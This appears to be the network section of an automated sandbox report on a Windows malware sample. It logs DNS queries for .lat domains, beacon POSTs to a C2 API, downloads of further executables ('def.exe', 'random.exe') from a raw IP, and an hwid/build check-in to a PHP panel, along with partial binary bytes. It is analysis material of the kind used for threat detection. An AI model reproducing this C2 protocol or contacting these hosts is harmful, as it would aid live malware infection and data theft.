Dec 20, 2024 17:11:05.023588896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.023807049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.024363995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.024410963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.024422884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.024434090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.024477959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.024626017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.025109053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.025120020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.025156021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.101241112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.101325989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.101335049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.101408958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.101459980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.101473093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.101489067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.101500034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.101531982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.102021933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.102137089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.102148056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.102174997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.102632046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.102670908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.102719069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.102730036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.102758884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.102909088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.103347063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.103388071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.103446007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.103456974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.103494883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.103668928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.104161978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.104204893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.104243994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.104254961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.104289055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.104557037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.104964972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.104974031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.105010033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.105099916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.105118990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.105133057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.105823994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.105890036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.105904102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.105916023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.105952978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.150124073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.150141954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.150152922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.150211096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.150280952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.150336027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.150420904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.150433064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.150496006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.150639057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.151037931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.151093006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.151133060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.151145935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.151192904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.151535034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.151611090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.151627064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.151659012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.151813030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.151853085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.152139902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.152266026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.152277946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.152298927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.152479887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.152545929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.152992010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.153111935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.153122902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.153156042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.599868059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:09.671706915 CET	49745	80	192.168.2.4	185.215.113.206
Dec 20, 2024 17:11:09.791414976 CET	80	49745	185.215.113.206	192.168.2.4
Dec 20, 2024 17:11:09.791506052 CET	49745	80	192.168.2.4	185.215.113.206
Dec 20, 2024 17:11:09.791702986 CET	49745	80	192.168.2.4	185.215.113.206
Dec 20, 2024 17:11:09.911396980 CET	80	49745	185.215.113.206	192.168.2.4
Dec 20, 2024 17:11:11.124519110 CET	80	49745	185.215.113.206	192.168.2.4
Dec 20, 2024 17:11:11.124573946 CET	49745	80	192.168.2.4	185.215.113.206
Dec 20, 2024 17:11:11.127737045 CET	49745	80	192.168.2.4	185.215.113.206
Dec 20, 2024 17:11:11.248080015 CET	80	49745	185.215.113.206	192.168.2.4
Dec 20, 2024 17:11:11.574362040 CET	80	49745	185.215.113.206	192.168.2.4
Dec 20, 2024 17:11:11.574465036 CET	49745	80	192.168.2.4	185.215.113.206
Dec 20, 2024 17:11:12.775716066 CET	49745	80	192.168.2.4	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:10:30.812057972 CET	59219	53	192.168.2.4	1.1.1.1
Dec 20, 2024 17:10:31.033106089 CET	53	59219	1.1.1.1	192.168.2.4
Dec 20, 2024 17:10:31.039552927 CET	63071	53	192.168.2.4	1.1.1.1
Dec 20, 2024 17:10:31.182185888 CET	53	63071	1.1.1.1	192.168.2.4
Dec 20, 2024 17:10:31.184345007 CET	50611	53	192.168.2.4	1.1.1.1
Dec 20, 2024 17:10:31.407798052 CET	53	50611	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 17:10:30.812057972 CET	192.168.2.4	1.1.1.1	0x4f3f	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:10:31.039552927 CET	192.168.2.4	1.1.1.1	0x3596	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:10:31.184345007 CET	192.168.2.4	1.1.1.1	0xd2b8	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 17:10:31.033106089 CET	1.1.1.1	192.168.2.4	0x4f3f	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:10:31.182185888 CET	1.1.1.1	192.168.2.4	0x3596	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:10:31.407798052 CET	1.1.1.1	192.168.2.4	0xd2b8	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:10:31.407798052 CET	1.1.1.1	192.168.2.4	0xd2b8	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discokeyus.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	185.215.113.16	80	7540	C:\Users\user\Desktop\u1z7S3hr06.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:10:54.080765009 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 17:10:55.423928976 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:10:54 GMT Content-Type: application/octet-stream Content-Length: 2846208 Last-Modified: Fri, 20 Dec 2024 15:44:49 GMT Connection: keep-alive ETag: "676590f1-2b6e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 dc 95 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui`D @ @ @.rsrcD``@.idata f@ljmymddw**h@ajdgxuni +F+@.taggant@+"L+@
Dec 20, 2024 17:10:55.423964024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:10:55.423979998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:10:55.424242973 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:10:55.424264908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:10:55.424334049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:10:55.424350977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:10:55.424366951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 17:10:55.424969912 CET	1236	IN	Data Raw: 20 d4 e0 bb 20 91 e0 bb 11 18 87 bb 20 94 ee 93 b3 ba e0 bb 1e 94 ea e8 15 18 87 bb 20 94 ee 2a 02 9e e0 85 27 92 86 2a 03 9e e0 85 ff a3 ea be b3 bf e0 bb 1e 92 b2 84 1a 93 ec 95 b3 b8 e0 bb 1e 78 96 81 fc 90 ea 2a 01 9e e0 85 4c 78 ef e1 42 9e Data Ascii: 'x*LxB '! -+3- -^+ -+l -+ -+
Dec 20, 2024 17:10:55.424984932 CET	1236	IN	Data Raw: 1a b4 ec 8b 21 e0 60 29 27 bb e1 d1 a0 12 ee 96 21 e0 60 8a 27 bb e1 d1 a0 67 ee 96 21 e0 60 ae 27 bb e1 d1 a0 8a e1 96 21 90 ea e5 24 ae e1 d1 a0 17 ef 9a 21 e0 60 00 21 bf e1 d1 a0 3f e0 9a 21 e0 60 aa 26 bf e1 d1 a0 e1 ef 9a 21 e0 60 77 26 bf Data Ascii: !`)'!`'g!`'!$!`!?!`&!`w&]!$!`U&0!`-$!`A$!`<&!`&H!$!`!/!`!!`M!!`&!`!$!`w!0
Dec 20, 2024 17:10:55.548242092 CET	776	IN	Data Raw: 21 95 e0 43 21 23 e0 84 20 6a e0 59 21 95 e0 4b 21 73 e0 84 20 62 e0 a3 21 95 e0 53 21 26 e0 84 20 7a e0 a8 21 95 e0 5b 21 8c e1 84 20 72 e0 b2 21 95 e0 a3 21 9a e1 84 20 8a e1 bc 21 95 e0 ab 21 90 e1 e2 20 ac e0 00 27 c8 e0 86 20 1c e1 e9 20 a3 Data Ascii: !C!# jY!K!s b!S!& z![! r!! !! ' & 4 n& _ z& _ n& Q z& _ X&&! &6!7 b!6!7 b!>!^!+b!!7!+b!!7 !
Dec 20, 2024 17:11:00.275651932 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 17:11:00.718069077 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:10:59 GMT Content-Type: application/octet-stream Content-Length: 2883584 Last-Modified: Fri, 20 Dec 2024 15:46:44 GMT Connection: keep-alive ETag: "67659164-2c0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4f 00 00 04 00 00 dd 9b 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(0O@`O,@M$a$$ $h@.rsrc$x@.idata $z@ojvirhut`$^\|@ueswzroq O+@.taggant00O"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	185.215.113.206	80	8188	C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:11:09.791702986 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:11:11.124519110 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:11:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 17:11:11.127737045 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHID Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 42 41 35 41 43 35 45 30 32 36 33 30 35 30 34 35 37 33 35 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 2d 2d 0d 0a Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="hwid"ECBA5AC5E0263050457358------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="build"stok------AKFCBFHJDHJKECAKEHID--
Dec 20, 2024 17:11:11.574362040 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:11:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.21.99	443	7540	C:\Users\user\Desktop\u1z7S3hr06.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:10:32 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 16:10:32 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 16:10:33 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:10:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sv6a9thpvdj8llh4tpfrv6oau3; expires=Tue, 15 Apr 2025 09:57:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MWFVxYJxtgjJaFgr%2FgvRDtzX9kPDiMhJp9QnbjAVBO%2F3IDGuIIz7WBjmCDgpXA4Np4NuRA7zfz06oUrga21pVG3FIyrSnJpjloMm5zAXUpmuC9GmR%2BYVVi%2FJqkU3v3y1fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50e733fd117c6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1843&min_rtt=1836&rtt_var=702&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=905&delivery_rate=1543340&cwnd=189&unsent_bytes=0&cid=27ee0233bb1746df&ts=774&x=0"
2024-12-20 16:10:33 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 16:10:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.21.99	443	7540	C:\Users\user\Desktop\u1z7S3hr06.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:10:34 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: discokeyus.lat
2024-12-20 16:10:34 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-20 16:10:35 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:10:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nsne2i8i3nk8bllfva7vifjddr; expires=Tue, 15 Apr 2025 09:57:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TuJy04fn6mA5%2FXLp66mnuGAHkDAEeUlhn0gM2geqNbFsTkptMEcDon13thZVxmygWamWKTC9DsAfxdyBVO4%2F9KsGAa1m6gjUTlIHEX0xTCm7Hp%2BmijwT1aPxTa7l3C6aPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50e7407a620f70-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1679&rtt_var=646&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=945&delivery_rate=1672394&cwnd=207&unsent_bytes=0&cid=9e8a76c418b10c31&ts=837&x=0"
2024-12-20 16:10:35 UTC	244	IN	Data Raw: 34 39 31 63 0d 0a 4b 59 5a 74 53 67 6f 4a 33 2b 51 66 70 51 6d 56 79 44 65 79 58 6e 39 72 50 65 59 4e 59 6a 75 42 66 46 71 65 58 77 31 4b 74 65 74 53 70 42 74 6f 4d 44 33 7a 78 6d 7a 41 4b 36 2b 38 52 63 63 37 55 30 6c 63 67 69 39 59 58 65 41 51 4b 66 74 7a 4c 7a 7a 59 79 52 50 67 44 43 5a 35 62 50 50 47 65 74 30 72 72 35 4e 4d 6b 44 73 52 53 51 66 45 61 41 68 5a 34 42 41 34 2f 7a 52 69 4f 74 6d 49 51 65 6f 4b 49 6d 39 71 75 34 56 7a 79 47 7a 77 72 56 62 59 4d 42 59 47 56 59 73 76 54 68 6e 6b 42 6e 69 6b 66 55 41 76 77 59 70 6b 35 78 34 68 4b 48 54 7a 6e 7a 33 41 5a 37 66 79 46 64 4d 37 48 51 64 62 67 6d 59 4b 55 2b 6b 59 4f 66 6f 31 66 53 50 54 67 30 48 6b 43 53 4e 6c 59 36 2b 49 65 63 39 6e 39 71 64 57 6b 48 4a 64 44 6b Data Ascii: 491cKYZtSgoJ3+QfpQmVyDeyXn9rPeYNYjuBfFqeXw1KtetSpBtoMD3zxmzAK6+8Rcc7U0lcgi9YXeAQKftzLzzYyRPgDCZ5bPPGet0rr5NMkDsRSQfEaAhZ4BA4/zRiOtmIQeoKIm9qu4VzyGzwrVbYMBYGVYsvThnkBnikfUAvwYpk5x4hKHTznz3AZ7fyFdM7HQdbgmYKU+kYOfo1fSPTg0HkCSNlY6+Iec9n9qdWkHJdDk
